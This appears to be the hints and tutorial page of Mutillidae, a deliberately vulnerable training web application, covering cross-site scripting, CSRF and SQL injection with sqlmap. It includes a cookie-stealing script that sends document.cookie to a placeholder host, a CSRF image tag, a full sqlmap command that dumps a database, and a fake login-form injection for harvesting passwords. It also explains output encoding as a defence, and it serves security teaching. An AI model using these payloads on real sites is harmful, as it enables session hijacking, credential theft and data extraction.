For XSS:XSS is easy stuff. This one shows off
both reflected (you see the results
instantly) and stored (someone can run across it
later in another app that uses the same database).
"<script>alert("XSS");</script>" is the
classic, but there are far more interesting things you
could do which I plan show in a video later.
For some hot cookie stealing action, try something like:
<script>
new Image().src="http://some-ip/mutillidae/catch.php?cookie="+encodeURI(document.cookie);
</script>
Check out Rsnake's XSS Cheet Sheet
for more ways you can encode XSS attacks that may
allow you to get around some filters.
For CSRF:You can create another page someplace and
make a link to an image that is not an image. You can also
send someone an HTML email with a link inside. Sending links over
HTML aware Instant Messaging like Communicator also works. One of the
quietest methods is to use HTML injection to poison a web page thus
creating a persistant attack. When a user visits the poisoned page,
their browser will reach out to the targe page. Using an AJAX request
can keep the rouge tranaction silent.
You could use something like the following:
<img src="http://localhost/mutillidae/index.php?page=add-to-your-blog.php&input_from_form=hi%20there%20monkeyboy">
This is the easy way to do CSRF with the GET method. Login
as someone, make your page with the link image someplace else,
and then view it. You should now see
something new on the comment wall.
For Cross Site Request Forgery, a tool like the Social
Engineering Toolkit by Dave Kennedy can help.
To use sqlmap, you need to know the page URL. We can get that by viewing requests and responses with HTTPFox, Paros, Burp, etc.
We decide whether to attack via GET or POST. sqlmap will automatically test URL query parameters supplied in the URL that you give.
To tell sqlmap about POST parameters, use the "--data" switch. Discover all the POST parameters
using a tool like Burp to make this part easy.
Use the sqlmap help. Type python sqlmap.py -h.
When your ready, string all this information together:
python sqlmap.py --url="http://192.168.56.101/mutillidae/index.php?page=view-someones-blog.php" --data="author=6C57C4B5-B341-4539-977B-7ACB9D42985A&view-someones-blog-php-submit-button=View+Blog+Entries" --level=1 --beep --dump
Cross-Site Scripting Tutorial
Cross-Site Scripting occurs because a script is displayed in page output but is not properly encoded.
Because of the lack of proper encoding, the browser will execute the script rather than display it as data.
Pages that encode all dynamic output are generally immune. The page will simply display the script as text
rather than execute the script as code.
The first step to Cross-Site Scripting is to determine which of the sites input is displayed as output.
Some input is immediately output on the same or next page. These pages are candidates for reflected
Cross-Site Scripting. Some input may be stored in a database and output later on the appropriate page.
These situations may be ripe for the most dangerous type of XSS; persistent XSS.
Developers may treat input from forms carefully, while completely ignoring input passed via URL Query
Parameters, Cookies, HTTP Headers, Logs, Emails, etc. The key is to encode ALL output and not just output
that came into the site via forms/POST.
Discovery Methodology
Step 1: For each page under scrutiny, enter a unique string into each form field,
url query parameter, cookie value, HTTP Header, etc., record which value has which unique string,
submit the page, then observe the resulting page to see if any of your unique strings appeared.
Upon finding a unique string, note which value had contained that string and record this on your map.
Unfortunately the input could end up as output on any page within the site, all pages within the site,
or none of them. If the values are not reflected immediately but presented on a later page (for example
in search results) then it should be assumed the value is stored in a database.
Step 2:The second step is to test all the input locations from step #1 with various scripts, css, html tags, etc.
and observe the resulting output. If the site fails to encode output, it is a candidate for XSS.
Methodology: Enter interesting characters such as angle brackets for HTMLi and XSS, Cascading style
sheet symbols, etc. to see if the site encodes this output. If the site does not encode output, try
inserting XSS, CSS, HTML, etc. and watch for execution. If the site has a WAF, this is likely the point
at which you will detect the WAF presence.
This example is of stealing a cookie. This could be reflected or persistent.
To make this persistent, try to get the script stored into
a database field which is later output onto a web page.
<script>alert('Cookies which do not have the HTTPOnly attribute set: ' + document.cookie);</script>
Same example with the single-quotes escaped for databases such as MySQL. This allows the XSS to be stored in the database.
When the web site (or another site) pulls the XSS from the database at a later time, it will be served with the
site content.
<script>alert(\'Cookies which do not have the HTTPOnly attribute set: \' + document.cookie);</script>
Cross site scripting will work in any unencoded output. It does not matter if the value being output
initially came from a form field (usually POST) or URL parameteres (GET). If fact the value can come from any
source. For example, if a web page outputs the user-agent string in whole or part, you can use a tool such
as User-Agent Switcher plug-in for Firefox to attempt XSS via the User-Agent HTTP Header. Any HTTP Header
can be forged with or without tools. If you would like to forge an HTTP Header without tools, try Netcat. Other
options include intercepting and changing the web request after the request leaves the browser. Burp Suite
is an excellent tool to try on your own machine. Try changing the user-agent to the XSS examples on this page.
Also, try this sample HTML injection. The XSS could be directly placed into the database then pulled later. This
can happen from a hacked database, a rouge DBA, or via SQL injection such as with ASPROX. This is why output
encoding is a better defense than input validation for XSS. If the XSS makes it into the database but never has
to pass through the validation to get there, input validation will not work.
<h1>Sorry. There has been a system error.<br /><br />Please login again</h1><br/>Username<input type="text"><br/>Password<input type="text"><br/><br/><input type="submit" value="Submit"><h1> </h1>
Warning: include_once(./includes/sql-injection.inc) [function.include-once]: failed to open stream: No such file or directory in /var/www/mutillidae/view-someones-blog.php on line 296
Warning: include_once() [function.include]: Failed opening './includes/sql-injection.inc' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/mutillidae/view-someones-blog.php on line 296
Mutillidae: Born to be Hacked
Back